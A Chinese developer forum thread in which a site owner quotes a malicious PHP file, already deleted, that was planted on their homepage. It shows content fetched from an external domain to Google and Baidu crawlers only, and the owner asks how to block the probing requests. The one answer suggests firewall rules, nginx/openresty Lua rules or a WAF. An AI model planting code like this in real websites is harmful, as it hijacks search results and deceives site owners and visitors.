Welcome to ShenZhenJia Knowledge Sharing Community for programmer and developer-Open, Learning and Share
menu search
person
Welcome To Ask or Share your Answers For Others

Categories

image.png

如上图,有很多伪装成百度或者谷歌、头条的恶意请求,来判断网站首页是否被注入了他们的木马文件(已删除),如下:

<?php
set_time_limit(0);
$url1 = $_SERVER['PHP_SELF']; $name= substr($url1 ,strrpos($url1 ,'/')+1 );
chmod($name,0444);
header('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,'oogle')!== false||strpos($key,'aidu')!==false)
{
 $file = file_get_contents('http://a.fefb.buzz/?scs'); 
echo $file;
 exit ;
}
?>

所以请问有什么好的办法,在Linxu层或者Nginx层去屏蔽掉这些请求?


与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
thumb_up_alt 0 like thumb_down_alt 0 dislike
3.0k views
Welcome To Ask or Share your Answers For Others

1 Answer

linux 的话,使用防火墙屏蔽对方 ip,不过这个伤害太大,封掉的 ip可能是一个 cdn 节点

nginx 这一层会方便的多.自己识别请求模式后写判断可以. 增加 ngx_lua 插件或者直接使用 openresty 用lua写一些复杂的规则甚至写个 waf 也可以.


与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
thumb_up_alt 0 like thumb_down_alt 0 dislike
Welcome to ShenZhenJia Knowledge Sharing Community for programmer and developer-Open, Learning and Share

548k questions

547k answers

4 comments

86.3k users

...